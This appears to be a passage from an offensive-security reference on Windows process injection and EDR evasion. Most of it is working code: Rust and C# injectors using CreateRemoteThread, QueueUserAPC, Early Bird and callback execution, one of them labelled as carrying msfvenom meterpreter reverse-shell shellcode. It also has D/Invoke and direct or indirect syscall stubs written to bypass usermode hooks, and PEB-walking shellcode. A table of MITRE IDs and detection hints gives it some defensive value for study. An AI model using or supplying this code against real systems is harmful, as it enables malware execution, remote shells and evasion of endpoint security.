let shellcode: [u8; 276] = [0xfc, 0x48, 0x83, /* ... */ 0x00];
let pid: u32 = 1234;
unsafe {
let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
let p_remote = VirtualAllocEx(
h_process, ptr::null_mut(), shellcode.len(),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE,
);
WriteProcessMemory(
h_process, p_remote, shellcode.as_ptr(),
shellcode.len(), ptr::null_mut(),
);
let h_snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
let mut te: ThreadEntry32 = std::mem::zeroed();
te.dw_size = std::mem::size_of::<ThreadEntry32>() as u32;
if Thread32First(h_snap, &mut te) != 0 {
loop {
if te.th32_owner_process_id == pid {
let h_thread = OpenThread(
THREAD_SET_CONTEXT, 0, te.th32_thread_id);
if !h_thread.is_null() {
QueueUserAPC(p_remote, h_thread, 0);
CloseHandle(h_thread);
}
}
if Thread32Next(h_snap, &mut te) == 0 { break; }
}
}
CloseHandle(h_snap);
CloseHandle(h_process);
}
}
use std::ptr;
extern "system" {
fn VirtualAlloc(
addr: *mut u8, size: usize,
alloc_type: u32, protect: u32
) -> *mut u8;
fn RtlMoveMemory(dest: *mut u8, src: *const u8, len: usize);
fn EnumSystemLocalesA(func: *mut u8, flags: u32) -> i32;
}
const MEM_COMMIT: u32 = 0x1000;
const MEM_RESERVE: u32 = 0x2000;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
fn main() {
let shellcode: [u8; 276] = [0xfc, 0x48, 0x83, /* ... */ 0x00];
unsafe {
let addr = VirtualAlloc(
ptr::null_mut(), shellcode.len(),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE,
);
RtlMoveMemory(addr, shellcode.as_ptr(), shellcode.len());
// Execute via callback - shellcode runs as the enum callback
EnumSystemLocalesA(addr, 0);
}
}
| Technique | Stealth Level | Common Detection | MITRE ATT&CK |
|---|---|---|---|
| CreateRemoteThread | Low | ETW: thread creation in remote process, Sysmon Event 8 | T1055.002 |
| QueueUserAPC | Medium | APC queue monitoring, cross-process thread access | T1055.004 |
| NtMapViewOfSection | Medium | Section object creation + cross-process mapping | T1055.012 |
| Process Hollowing | Medium | Memory scanning (unmapped sections), image mismatch detection | T1055.012 |
| Early Bird | High | APC queue on suspended process (less monitored than CRT) | T1055.004 |
| Module Stomping | High | Memory integrity checks on loaded DLLs, .text section hash mismatch | T1055.002 |
| Fiber Injection | High | Local-only - no cross-process APIs, harder to detect | T1055.002 |
| Thread Hijacking | Medium | SuspendThread + SetThreadContext pattern, Sysmon Event 8 | T1055.003 |
| Callback Injection | High | Local-only, legitimate API usage, behavioral analysis required | T1055.002 |
| DLL Injection | Low | LoadLibrary in remote process, Sysmon Event 7 (ImageLoad), ETW | T1055.001 |
| Syscall (Direct/Indirect) | High | Usermode hooks bypassed, requires kernel callbacks or ETW | T1106 |
Key detection notes:
OpenProcess with suspicious access masksMicrosoft-Windows-Kernel-Process, Microsoft-Windows-Threat-Intelligence) provide kernel-level visibilityP/Invoke uses [DllImport] attributes to statically declare Windows API imports. This is the simplest way to call native APIs from C#, but every imported function appears in the assembly's Import Address Table (IAT), making static analysis trivial for defenders. EDR products also place inline hooks on these well-known imports.
Detection: static analysis of the .NET assembly's IAT reveals suspicious API combinations; runtime hooks on kernel32/ntdll intercept the calls directly.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
class Injector
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenProcess(
uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(
IntPtr hProcess, IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(
IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer,
uint nSize, out uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool VirtualProtectEx(
IntPtr hProcess, IntPtr lpAddress, uint dwSize,
uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter,
uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll")]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll")]
static extern bool CloseHandle(IntPtr hObject);
// Constants
const uint PROCESS_ALL_ACCESS = 0x001F0FFF;
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_READWRITE = 0x04;
const uint PAGE_EXECUTE_READ = 0x20;
const uint INFINITE = 0xFFFFFFFF;
static void Main(string[] args)
{
// msfvenom -p windows/x64/meterpreter/reverse_tcp ... -f csharp
byte[] sc = new byte[] { 0xfc, 0x48, 0x83, 0xe4, 0xf0 /* ... */ };
int pid = int.Parse(args[0]);
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
IntPtr addr = VirtualAllocEx(
hProcess, IntPtr.Zero, (uint)sc.Length,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);
VirtualProtectEx(
hProcess, addr, (uint)sc.Length,
PAGE_EXECUTE_READ, out _);
IntPtr hThread = CreateRemoteThread(
hProcess, IntPtr.Zero, 0, addr,
IntPtr.Zero, 0, out _);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
}
}
Early Bird injection in C# - creates a suspended process, writes shellcode, queues APC, and resumes.
using System;
using System.Runtime.InteropServices;
class EarlyBird
{
[StructLayout(LayoutKind.Sequential)]
struct STARTUPINFO {
public uint cb;
public IntPtr lpReserved, lpDesktop, lpTitle;
public uint dwX, dwY, dwXSize, dwYSize;
public uint dwXCountChars, dwYCountChars;
public uint dwFillAttribute, dwFlags;
public ushort wShowWindow, cbReserved2;
public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError;
}
[StructLayout(LayoutKind.Sequential)]
struct PROCESS_INFORMATION {
public IntPtr hProcess, hThread;
public uint dwProcessId, dwThreadId;
}
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcessA(
string lpApplicationName, string lpCommandLine,
IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
bool bInheritHandles, uint dwCreationFlags,
IntPtr lpEnvironment, string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAllocEx(
IntPtr hProcess, IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer,
uint nSize, out uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern uint QueueUserAPC(
IntPtr pfnAPC, IntPtr hThread, uint dwData);
[DllImport("kernel32.dll")]
static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll")]
static extern bool CloseHandle(IntPtr hObject);
const uint CREATE_SUSPENDED = 0x00000004;
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
static void Main()
{
byte[] sc = new byte[] { 0xfc, 0x48, 0x83, 0xe4, 0xf0 /* ... */ };
STARTUPINFO si = new STARTUPINFO();
si.cb = (uint)Marshal.SizeOf(si);
PROCESS_INFORMATION pi;
CreateProcessA(
"C:\\Windows\\System32\\notepad.exe", null,
IntPtr.Zero, IntPtr.Zero, false,
CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
IntPtr addr = VirtualAllocEx(
pi.hProcess, IntPtr.Zero, (uint)sc.Length,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);
QueueUserAPC(addr, pi.hThread, 0);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
}
D/Invoke resolves API addresses at runtime using GetProcAddress (or manual PE parsing) and calls them through .NET delegates instead of static imports. Since nothing appears in the IAT, static analysis cannot determine which APIs are used. It can also load a fresh, unhooked copy of ntdll.dll from disk, completely bypassing EDR inline hooks.
Detection: much harder than P/Invoke - requires runtime monitoring of GetProcAddress patterns, delegate invocations, or ETW-based .NET profiling.
using System;
using System.Runtime.InteropServices;
// Define delegate matching the target function signature
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate uint NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref IntPtr RegionSize,
uint AllocationType,
uint Protect);
class DInvokeDemo
{
static void Main()
{
// Dynamically resolve NtAllocateVirtualMemory from ntdll.dll
IntPtr pFunc = Generic.GetLibraryAddress(
"ntdll.dll", "NtAllocateVirtualMemory");
// Create delegate from function pointer
NtAllocateVirtualMemory ntAlloc =
Marshal.GetDelegateForFunctionPointer<NtAllocateVirtualMemory>(
pFunc);
// Call via delegate - no IAT entry, no inline hook hit
IntPtr baseAddr = IntPtr.Zero;
IntPtr regionSize = (IntPtr)4096;
uint status = ntAlloc(
(IntPtr)(-1), // current process
ref baseAddr,
IntPtr.Zero,
ref regionSize,
0x3000, // MEM_COMMIT | MEM_RESERVE
0x40); // PAGE_EXECUTE_READWRITE
}
}
Why D/Invoke matters:
DInvoke package or integrated into tools like Covenant/Grunt| Method | Description |
|---|---|
| Direct syscall | Extract syscall number from ntdll, execute syscall instruction directly in your code |
| Indirect syscall | Jump to the syscall instruction inside ntdll.dll to avoid suspicious syscall in your .text section |
| SysWhispers2/3 | Code generators that produce direct/indirect syscall stubs for MASM/C |
| HellsGate | Runtime syscall number resolution by parsing ntdll in memory |
| HalosGate | HellsGate variant - if ntdll is hooked, search neighboring functions for clean syscall numbers |
| TartarusGate | Detects hooks by checking for jumps (0xE9) at export addresses |
| FreshyCalls | Resolves syscall numbers by sorting Zw* exports by address (order = syscall number) |
Direct syscall stub for NtAllocateVirtualMemory. The syscall number changes per Windows build - resolve at runtime (HellsGate) or use SysWhispers to generate per-version stubs.
; x64 Windows direct syscall stub
; Assemble: nasm -f win64 syscall_stub.asm -o syscall_stub.obj
BITS 64
SECTION .text
global NtAllocateVirtualMemory
; NtAllocateVirtualMemory(ProcessHandle, BaseAddress, ZeroBits,
; RegionSize, AllocationType, Protect)
; rcx = ProcessHandle, rdx = BaseAddress, r8 = ZeroBits,
; r9 = RegionSize, stack+0x28 = AllocationType, stack+0x30 = Protect
NtAllocateVirtualMemory:
mov r10, rcx ; syscall convention: r10 = first arg
mov eax, 0x18 ; syscall number (Win10 1909 example)
syscall
ret
Instead of executing syscall in your own code (which EDRs flag by scanning for syscall instructions in non-ntdll memory), jump to the syscall; ret gadget inside ntdll.dll itself.
BITS 64
SECTION .text
global NtAllocateVirtualMemory_Indirect
; Resolve this at runtime: address of "syscall; ret" in ntdll
; e.g., scan ntdll for 0F 05 C3 pattern
extern syscall_ret_addr
NtAllocateVirtualMemory_Indirect:
mov r10, rcx
mov eax, 0x18 ; syscall number
jmp [rel syscall_ret_addr] ; jump to syscall;ret inside ntdll
Typical shellcode flow for resolving and calling WinAPI functions without imports:
1. Find PEB -> GS:[0x60] on x64
2. Walk PEB_LDR_DATA -> PEB + 0x18
3. Walk InMemoryOrderModuleList
4. Find kernel32.dll -> compare module name hash
5. Parse PE exports -> walk IMAGE_EXPORT_DIRECTORY
6. Find function -> hash-compare export names
7. Call function -> resolved address in register
; x64: Find PEB and walk to kernel32.dll base
BITS 64
find_kernel32:
xor rcx, rcx
mov rax, [gs:rcx+0x60] ; PEB
mov rax, [rax+0x18] ; PEB->Ldr (PEB_LDR_DATA)
mov rsi, [rax+0x20] ; InMemoryOrderModuleList
lodsq ; skip first entry (exe itself)
xchg rax, rsi
lodsq ; second entry = ntdll.dll
xchg rax, rsi
lodsq ; third entry = kernel32.dll
mov rbx, [rax+0x20] ; DllBase of kernel32.dll
; rbx now holds kernel32 base address
Null bytes (0x00) terminate C strings and break injection through string-based APIs. Common avoidance patterns:
| Pattern | Problem | Solution |
|---|---|---|
mov rax, 0 |
Contains 0x00 bytes |
xor rax, rax |
mov al, 0x3b |
Upper bytes are zero in full encoding | Use xor eax, eax then mov al, 0x3b |
push 0 |
Encodes null bytes | xor rcx, rcx then push rcx |
mov rdi, "/bin/sh\0" |
Null terminator in immediate | Push null first, then non-null string |
| Absolute addresses | Often contain nulls | Use RIP-relative addressing or lea |
jmp with small offset |
May pad with nulls | Use short jumps (jmp short) |
SysWhispers generates header files and ASM stubs for direct/indirect syscalls, supporting multiple Windows versions.
# SysWhispers3 - generate stubs for specific functions
python syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx \
--out-file syscalls \
--sw-output jumper # indirect syscall mode
# Produces: syscalls.h, syscalls.c, syscalls-asm.x64.asm
# Include in your C project and call Nt* functions directly
// Using SysWhispers-generated stubs
#include "syscalls.h"
// Calls go directly to kernel via syscall instruction
// Bypasses all usermode hooks (EDR ntdll patches)
NTSTATUS status = NtAllocateVirtualMemory(
hProcess, &baseAddr, 0, ®ionSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);